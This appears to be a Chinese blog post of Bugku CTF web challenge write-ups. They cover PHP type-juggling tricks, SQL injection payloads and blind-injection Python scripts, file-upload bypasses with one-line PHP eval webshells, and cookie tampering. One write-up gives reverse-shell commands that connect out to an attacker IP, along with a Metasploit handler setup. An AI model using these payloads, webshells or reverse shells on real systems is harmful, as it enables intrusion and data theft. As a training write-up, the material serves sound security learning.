show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
看题目~
构造: http://123.206.87.240:8010/ ?s=print_r(scandir('./'))
访问的时候就成为 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
编辑
则直接获取里面的内容 http://120.24.86.145:8010/ flag_sm1skla1).txt
得到flag
BUGKU{bugku_web_009801_a}
完成!
27、字符?正则?
字符?正则?
http://123.206.87.240:8002/web10/
打开链接是一段代码
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
来分析分析
1. preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。
举个栗子:
<?php
// 从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',
"http://www.runoob.com/index.html", $matches);
$host = $matches[1]; //www.runoob.com
// 获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>
返回结果
domain name is: runoob.com
2. trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。举个栗子:
<?php
$str = "Hello World!";
echo $str . "<br>";
echo trim($str,"Hed!");
?>
执行结果:
Hello World!
llo Worl
3. 接着来看
正则表达式
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
. 匹配除 "\n" 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
\/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
总体来说,就是通过 id 传参,并且要符合上面的正则表达式,key就会显示,构造payload如下:
http://120.24.86.145:8002/web10/?id=keykeyaaaakey:/a/keya:
编辑
28、前女友(SKCTF)
http://123.206.31.85:49162/
flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}
编辑
编辑
在PHP中
MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null,这样就得到答案了。
编辑
29、login1(SKCTF)
http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击
考点:hint:SQL约束攻击,“admin ”和“admin”是相同的,用admin加空格注册账号伪装成admin账户,题解登录admin账号便可以看到flag
打开
按照步骤,注册账号之后,哈哈
编辑
说不是管理员不能查看
所以我们要用管理员身份进去
那试试暴力破解吧
本来想尝试一下,但是,
想到注册的时候是要大写字母加小写字母加数字
这样暴力破解没那么好用了
换种方法
提示这个
hint:SQL约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
我们需要做的就是注册一个在数据库中会被认为是admin的账户,然后使用这个admin账户登录。
注册用户名
admin (我注册的admin后面有20个空格)
密码随便弄一个,但要符合要求
注册成功之后用你注册的登陆
编辑
30、你从哪里来
你从哪里来
100
http://123.206.87.240:9009/from.php
那就在Headers加一个referer字段
如图:
Referer:https://www.google.com
编辑
备注:
HTTP_REFERER 编辑
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。
比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
Referer的正确英语拼法是referrer。
由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
31、md5 collision(NUPT_CTF)
访问题目链接,得到提示input a,而题目是md5 collision,md5碰撞。所以找一个md5是oe开头的值,get方式传参过去,PAYLOAD
http://123.206.87.240:9009/md5.php?a=s878926199a
flag{md5_collision_is_easy}
常见MD5
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
32、程序员本地网站100
http://123.206.87.240:8002/localhost/
请从本地访问
使用burp抓包
修改添加Client-ip: 127.0.0.1
(相当于从本地访问哈哈哈)
编辑
33、各种绕过
各种绕过哟
http://123.206.87.240:8002/web7/
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
考点:
sha1()数组漏洞,接收数组参数后值均为0;
id做了一次urldecode()解码,所以需要url加密。margin一次编码%6D%61%72%67%69%6E(margin全部做编码或者部分做编码)
payload:
http://123.206.87.240:8002/web7/?uname[]=1&id=%6D%61%72%67%69%6E
postdata: passwd[]=2
34、web8
txt????
http://123.206.87.240:8002/web8/
<?php
extract($_GET); //GET 注册成全局变量
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
本题要点: php代码审计、php://input
可以得到要求构造ac和fn的值且当两值相等时输出flag
file_get_contents()函数的作用是把文件内容读入一个字符串中,可以利用php://input进行fn的赋值
构造a=123&fn=php://input,再将fn值post进去
方法一:
http://123.206.87.240:8002/web8/index.php?$ac=text&$fn=php://input
postdata:text
编辑
方法二:
提示有txt文件,经尝试发现:flag.txt 内容为:flags
构造payload:
http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
35、细心
地址:http://123.206.87.240:8002/web13/
想办法变成admin
御剑:http://123.206.87.240:8002/web13/resusl.php
页面显示
Warning:你不是管理员你的IP已经被记录到日志了
By bugkuctf.
if ($_GET[x]==$password) 此处省略1w字
根据提示构造:
http://123.206.87.240:8002/web13/resusl.php?x=admin
编辑
flag(ctf_0098_lkji-s)
36、求getshell(文件上传过滤)
求getshellhttp://123.206.87.240:8002/web9/
页面提示:My name is margin,give me a image file not a php
bp抓包一共三处过滤
一共三个过滤
1、请求头部的 Content-Type
2、文件后缀
3、请求数据的Content-Type
这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过
接下来,请求数据的Content-Type字段改为 image/jpeg
但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: mULtipart/form-data;
编辑
编辑
37、INSERT INTO注入(XFF输入)
地址:http://123.206.87.240:8002/web15/
X_FORWARDED_FOR注入
参考:https://blog.csdn.net/xuchen16/article/details/82904488
flag格式:flag{xxxxxxxxxxxx}不如写个Python吧
页面显示:源码
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
38、这是一个神奇的登陆框(post注入)
http://123.206.87.240:9001/sql/
打开http://123.206.87.240:9001/sql/后是个登陆界面
编辑
查看源代码
编辑
于是考虑到sql注入,因为是post,所以将burp的抓到的包保存到1.txt中,用sqlmap抓包
命令:sqlmap.py -r 1.txt -p admin_name --dbs//爆数据库名
编辑
后续在保表、列以及数据
命令sqlmap.py -r 1.txt -p admin_name -D bugkusql1 --tables//爆表名
命令sqlmap.py -r 1.txt -p admin_name -D bugkusql1 -T flag1 --columns// 爆列名字
命令sqlmap.py -r 1.txt -p admin_name -D bugkusql1-T flag1 -C flag1 --dump//爆flag
编辑
编辑
最后得到flag!!
39、多次(SQL注入绕过,联合、报错注入)
解析参考:https://blog.csdn.net/qq_26090065/article/details/82708691
提示:
http://123.206.87.240:9004
本题有2个flag
flag均为小写
flag格式 flag{}
登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入
编辑
id=1后面加单引号会报错,后面加--+注释返回正常,确定存在SQL注入
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过,payload如下:
http://123.206.87.240:9004/1ndex ... %20seselectlect%201,database()--+
显示:web1002-1
爆数据表 (注意:information里面也有or)
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
编辑
爆字段
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
编辑
爆数据
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+
编辑
提交flag显示错误,换个字段,爆address,得出下一关地址
编辑
进去又是一个SQL注入
编辑
大小写绕过pass,双写绕过pass
这里利用 updatexml() 函数报错注入
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
payload 如下
- # 查数据表
- http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
- # 查字段
- ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
- # 查数据
- ?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
最后爆出 flag
40、PHP_encrypt_1(ISCCCTF)
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
我们要提交的flag作为一个字符串,赋值给$data传入这个脚本之后,得到了上面给出的字符串:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
我们要做的就是逆向找出这个flag
方法一:
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";// $key = md5('ISCC')
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // 对 base64 后的字符串 decode
$md_len = strlen($tmp); //获取字符串长度
$x = 0;
$char = "";
for($i=0;$i < $md_len;$i++) { // 取二次加密用 key;
if ($x == $klen) // 数据长度是否超过 key 长度检测
$x = 0;
$char .= $mkey[$x]; // 从 key 中取二次加密用 key
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数
$data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
方法二:
function jiemi($str1){
echo "初始值:".$str1."<br>";
$str=base64_decode($str1);
$lens=strlen($str);
$j=0;
echo "经过base64解码后:".$str."<br>";
echo "长度:".$lens."<hr>";
$key1 = md5('ISCC');
$key2 = md5('ISCC');
$key=$key1.$key2;
// for($j=0;$j<$lens;$j++){
// //$ord_str=ord($str);
// echo $str[j];
// }
$jie_str="";
for ($i=0; $i<$lens; $i++) {
echo $i;
echo "第一次字符串加密".$str[$i]."<br>";
// @$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
$str1=ord($str[$i]);
echo "经过ord转换成ASCII值:".$str1."<br>";
if($str1<128){
$str1=$str1+128;
}else if($str>128){
$str1=$str+128;
}else if($str>=256){
$str1=256+$str;
}
echo "经过128取余逆向:".$str1."<br>";
$str2=$str1-ord($key[$i]);
echo "减去CMD5附加的值:".$str2.":".$key[$i]."<br>";
$str3=chr($str2);
echo "emm:".$str3."<br>";
$jie_str=$jie_str.$str3;
//$jie_str=$str3;
}
print_r($jie_str);
}
//�lag�{asdqwdfasfdawfefqwdqwdadwqadawd} //29行代码+128
//F���:��������������������������������� //29行代码不加128
////Flag:{asdqwdfasfdawfefqwdqwdadwqadawd} 合并后flag
41、文件包含2(文件包含上传漏洞)
http://123.206.31.85:49166/
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含
进入题目页面,没有什么特别的,只能右键查看源代码,发现提示需要跳转到 upload.php上传页面
编辑
编辑
三种解法
参照一:https://blog.csdn.net/dyw_666666/article/details/83900349
参照二:https://blog.csdn.net/qq_39629343/article/details/80148665
方法一:
①新建一个txt文件写入 <script language=php>system("ls")</script> 后另存为 jpg 格式
②选择浏览上传文件
编辑
③访问 保存进去的文件 即 Save in 后面的图片路径
编辑
因为我们写入了ls命令,用于显示当前目录下所有文件,发现了flag文件
④然后访问:http://123.206.31.85:49166/index ... 65sd4g35f4d6f43.txt
编辑
方法二:一句话木马
①不需要上传什么文件,直接upload然后抓包:
编辑
②然后ctrl+r发送到reperter里面,传入一句话木马 <?=eval($_POST['pass']);>
改动如下:(在request修改完点go会在response返显)
编辑
③复制resonse返显信息修改url:
编辑
正常应该是返回空白。但是菜刀连接时显示500 Internal server error 也是没脾气了。
方法三:一句话木马,连接菜刀
①我们将方法二的一句话改成下面这个:
<script language=php>echo 'a'; eval($_POST['pass']);</script>
编辑
②这种方法会返回a。并且菜刀连接成功。
编辑
编辑
That's all.
42、flag.php
地址:http://123.206.87.240:8002/flagphp/
点了login咋没反应
提示:hint
第一步就死了:原来是要GET传参啊!http://120.24.86.145:8002/flagphp/?hint=1
个人反思:
一般攻击入口只有两个:
1、URL框
2、页面中的输入框
当我在URL框中想半天寻找攻击点的时候,只想到了用御剑去扫描目录然后来查看一些文件,就没有想到GET传递,实在是一大失误。
编辑
我以为只要把ISecer:www.isecer.com序列化一下,然后bp提交cookie就行了呢!
后来才发现,验证cookie的时候$KEY根本没有定义,所以我们提交的cookie的值应该为空!
又从这段验证代码:
1
| elseif (unserialize($cookie) === "$KEY")
| 还需要类型相同,因为是“$KEY”所以我们提交的cookie要是一个空字符串
所以payload:
编辑
43、sql注入2
http://123.206.87.240:8007/web2/
全都tm过滤了绝望吗?
提示 !,!=,=,+,-,^,%
本题要点:DS_Store源码泄露
44、孙xx的博客(信息搜集)
http://123.206.87.240:2014
需要用到渗透测试第一步信息收集
被玩坏了的题目,参考信息收集比较
https://blog.csdn.net/southwind0/article/details/82804707###
45、Trim的日记本(目录扫描)
http://123.206.87.240:9002/
hints:不要一次就放弃
本题要点:目录扫描
试着注册一下~
编辑
点击ok
emmmm.....
直接登录呢?试试
仍旧没有用.........
扫描一下目录吧~
有点发现~
编辑
依次打开看看~
打开这个
http://123.206.87.240:9002/show.php
编辑
试了一下,还真的是flag.......被假flag骗多了,都不太相信这么轻易就拿到了,真真假假,假假真真,哈哈哈哈~
提交,完成!
46、login2(SKCTF)(union绕过、命令执行)
http://123.206.31.85:49165/
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令执行
本题要点:union绕过、命令执行、脚本编写、base64编码
方法一:
打开页面如下:
编辑
用bp尝试抓包,打开代理
编辑
接着发送到repeater,go一下
编辑
编辑
看到一串base64密文
解密一下~
编辑
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password))
{
}
一段源码,分析一下:
想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。
构造payload
编辑
成功绕过
进入这样的页面~ 进程监控系统:
编辑
这里就没有任何提示信息了emmmm.......
只好随便乱输实验了.........
1.输入123
编辑
2.输入ls
编辑
3.输入123&&4
编辑
发现除了进程信息之外其他的都没有回显,不知道是不是有过滤。
又更换命令的分解符号为|,&,&&均没有反应......
有可能是命令被过滤了,也有可能是命令执行了,输出过滤了....
基于盲注原理测试123;sleep 10发现返回延迟将近10秒,看来是输出过滤,命令可以执行~
如果其他的shell命令没有被过滤,那么此处就相当于getshell,可以执行更多操作;
编辑
本人菜鸡,只好借鉴大佬的脚本~
import requests
url = 'http://123.206.31.85:49165/login.php'
#allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
allString = '''1234567890-_,qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
#\'union select (if(length(database()!=0),sleep(10),1)),'202cb962ac59075b964b07152d234b70' 盲注数据库,此处替换函数可以注其他你想要的信息
#\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注表
#\'union select (select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'admin\') from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注项
#\'union select (select case when (ascii(substr((select username from admin ) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注内容但是里面啥都没有
for i in range(1,100):
for j in allString:
#header = {
#"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
#}
data={
'username':"dminhhjhj\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#"%(i,ord(j)),#替换#以前的内容就可以
'password':'123'
}
r = requests.post(url,data=data)
t = r.elapsed.total_seconds()
print(database+' '+'the time of '+j+' is '+str(t))
if t >= 4:
database = database + j
print('the '+str(i)+' place of database is '+j)
break
elif t < 4 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('database:',database)
根据扫完结果,直接访问.txt,得到flag:
编辑
方法二:
抓包获得源码
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错,这个能理解吧?这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。
而我其中的两个变量password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。
这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。
username=' union select 1,md5(1)#&password=1
执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。
还原语句为:
SELECT username,password FROM admin WHERE username='a' union select 1,md5(1)-- -&password=1'
此时我们可以 username='', 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来
演示一下原理:
编辑
所以本题中的SELECT username,password FROM admin WHERE username='a' union select 1,md5(1)-- 将会返回
[td] username
| password
| 1
| md5(1)
| 这样就能使if判断为真
if (!empty($row) && $row['password']===md5($password))
进入下一个页面,可以进行命令执行
编辑
然后注意到了倒数第二行:sh -c ps -anx | grep 123,用grep命令对输入的内容从 sh -c ps -anx 的执行结果里面进行查找并输出。
然后就测试下过滤了什么字符:| & || && ; %0a 测试时候问题来了——除了自带的进程回显之外其他都不会回显,于是导致能不能执行命令都无法判断。
既然无法根据回显判断命令是否执行,那还可通过linux下的sleep命令测试是否执行:c=123 ; sleep 5,产生了延时,说明命令执行了。
然后测试下它是否能连接外网:c=123 ; ping www.baidu.com,浏览器一直转圈圈的话就是ping执行了,能连外网。
然后就好弄了,有个公网ip再用个反弹shell的姿势:bash -i >& /dev/tcp/ip/port 0>&1 就能getshell了。
payload:
c=123 ; bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1`
vps的msf监听:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 6666
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后顺利getshell:
编辑
顺利getflag:
最后不忘去看下出题师傅怎么控制回显的:
<?php
if(isset($_POST['c'])){
$cmd = $_POST['c'];
exec('ps -aux | grep '.$cmd, $result);
foreach($result as $k){
if(strpos($k, $cmd)){
echo $k.'<br>';
}
}
}
?>
另一种姿势
编辑
编辑
编辑
nc -lvv 8888
|bash -i >& dev/tcp/123.206.86.106/8888 0>&1
/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1
编辑
编辑
47、login3(SKCTF)(基于布尔的SQL盲注)
http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
根据题目给的提示,无疑是基于bool的盲注,而关于盲注的一般都与脚本有关,毕竟很少人会去一个一个猜
然而,再用脚本解决这个问题时,也需要找到准确的注入语句,否则,白费。。。
首先进入页面一试用户名为admin,发现密码报错(说明此用户存在,那么关键的问题就是密码了。。):
编辑
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句
username='^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,即:
username='^(select(ascii(mid((select(flag)from(flag))from(1)))<>103))^1&password=123
username='^(select(ascii(mid((select(password)from(admin))from(1)))<>102))^1&password=123
构造好注入语句,就可以开始写脚本了:
#coding=utf-8
import requests
import re,string,hashlib
url = 'http://123.206.31.85:49167/'
sss = string.digits + string.lowercase
headers={
'Host' : '123.206.31.85:49167',
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer' : 'http://123.206.31.85:49167/',
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '87',
'Cookie' : 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76',
'Connection' : 'keep-alive',
'Upgrade-Insecure-Requests' : '1'
}
answer = ''
for i in range(1, 50):
flag = 0
for j in sss:
postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j))
data = {'username': postuser, 'password': 'admin'}
html = requests.post(url, headers=headers, data=data).text
html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0]
if 'username does not exist!' in html:
answer += j
flag = 1
print answer
break
if flag == 0:
break
print 'password is ', answer
运行,即可得被加密过的password,使用md5解密得其明文为:skctf123456
再次登陆:username:admin
password : skctf123456
即可得到key。。。。。。。。
48、文件上传2(湖湘杯) 编辑
这道题目说是文件上传,但经过小编实践证明,其实与文件上传是一点关系都没有的
方法一(直接访问木马,查看flag文件,此方法应该是页面被修改了):
仔细查看,有一段话是这样子的:
2017 © All rights reserved. 听说可以用菜刀!!! 为什么不试试dama.php dama或者b374k.php 听说蛮有用的。
看到这句话,是不是觉得上传的文件名称是dama.php或是b374k.php,但其实是白盒过滤了,只允许上传.png格式的图片
在经过小编的不懈努力之下,发现我所操作的所有可能菜刀都连接失败。
所以,小编尝试以下骚操作:
编辑
直接以连接的形式来运用题目给的提示
http://123.206.87.240:9011/dama.php
不难看到,有flag.php文件
打开,即可得到flag
方法二(伪协议读取flag文件,base64解密):
页面显示
编辑
刚开始的时候按着它的步骤来,上传图片,但是显而易见是不成功的
编辑
可以尝试构造payload来进行测试
php://filter/read=convert.base64-encode/resource=flag
得到的结果再在base64解码就可以得到flag了
编辑
编辑
49、江湖魔头
http://123.206.31.85:1616/
学会如来神掌应该就能打败他了吧
编辑
方法一(技巧,直接修改金钱,买装备):
参考:https://blog.csdn.net/mutou990/article/details/108051655
参考1:https://blog.csdn.net/weixin_45940434/article/details/103946167
参考2:https://blog.csdn.net/qq_45552960/article/details/100884043
参考1做到用burp修改cookie值,不起作用。后来用参考2中的document.cookie方法成功:具体操作
按F12打开火狐浏览器的控制台,输入
document.cookie="user=UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeGh0UZ1liZxQMWEFDXl8EdUUOCgEId016B34WUlFWWTVoATEABHx5P3Z2CmYgPTY5Pj90FSUUbWJiZy1iYR52HwsRERUUDUApGSgqLi5UUQdOTzJeAhkDEQsIF1Q%2FDzy6x%2Fe%2Bv7qu9vn%2B%2Bw%2Fv%2FKjP%2F9Cq1%2BnQrqq%2B5%2FHo7ffmsp3NnJbl3%2BSZ7ITF2d7H0Ybzw%2Fb3j4mLiYf5%2Bcf4goKaqrClre6Bu4L79Oz%2B5I9L";
按ctrl+enter 运行,显示金钱被成功修改(点击游戏中属性选项),然后就是购买,最够讨伐,取得flag
这时别忘了一开始还有个彩蛋页面来验证flag的,输入后会发现有限制,直接右键检查去掉输入框的长度限制
回车
编辑
方法二(分析详细):
解题参考:https://blog.csdn.net/qq_25899635/article/details/92759985、
“进入游戏”后看到了一张个人感觉画风很不错的江湖英雄人物,随手还搜索了一下:
编辑
在右侧我看到了我当前游戏人物的属性值列表:
编辑
习惯性的view-source,确定,view-source
编辑
编辑
没有发现什么可疑的地方,内容很简单,挨个点了一下发现我还没有能力“讨伐”魔头,根据提示我知道有一招如来神掌可以制服魔头,但这个时候问题来了。
作为一个有梦想的穷逼侠客,兜里却没有一分钱,不得不面对的事实。买不起秘籍只好去打工赚钱,我天!这个“赚钱”速度太慢了,100金币/5s钟的速度赚钱,还有一个途径就是“苦修”,也非常的耗费时间。
于是乎,作为一个有“想法”的侠客打算去别的地方找一找线索,例如“悬崖”和比较有特点的”老头“什么的,哈哈…
去掉whulin.php后面的参数
编辑
这个地方就比较可疑了,整个HTML代码表面上看并没有给我什么灵感,我决定到里边看一看,可以看到还有三个js的外部链接文件,script.js/md5.js/base64.js,
我首先选择了这里看起来没有任何意义的script.js文件:
编辑
你个糟老头子坏得很,这让本大侠怎么看!但直觉以及那个明显的"flag"告诉我这里有阴谋.
我的直觉可能是对的,整理格式化这段js代码后果然有了发现:
编辑
一瞬间的感觉这里就是突破点
尝试在浏览器控制台执行此函数,弹出经过md5加密的字符串,尝试提交并未成功。
从代码中可以看到这里使用了cookie中的user的值,之后继续到控制台测试这个cookie:
编辑
最后解出来的cookie值中包含了我想看到的内容,那么就…大致流程:解cookie–>修改"money"–>封装–>设置cookie值–>有钱人–>去商店–>学技能–>打怪…
想法很美好,但现实是残酷的,当我满心欢喜的把我自己”签的支票“交给浏览器管理之后来到商店,…等等,我的钱哪去了,有人偷走了我的钱…
回头看一看,问题一定出在了中间某个环节
偷我钱的贼被我发现了:
编辑
修改之后的数据经过几轮加密之后已经跟最开始的样子很不一样了,这是不太正常的。问题就出在了中间的encode_create函数中的base64加解码上。
查看另外一个外部链接js文件base64.js
编辑
解码中有一行被注释掉了,这个时候我们只要想办法让加密过程中对应的
input = _utf8_encode(input);这一行不生效或不执行。问题一下子明了了,开心
通过document.cookie进行设置,然后去商店学技能,最后去找老魔决战:
编辑
flag{a13d82fe0daf4730eac8f8e0d4c17e72}
50、login4(CBC字节翻转攻击)
http://123.206.31.85:49168/
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
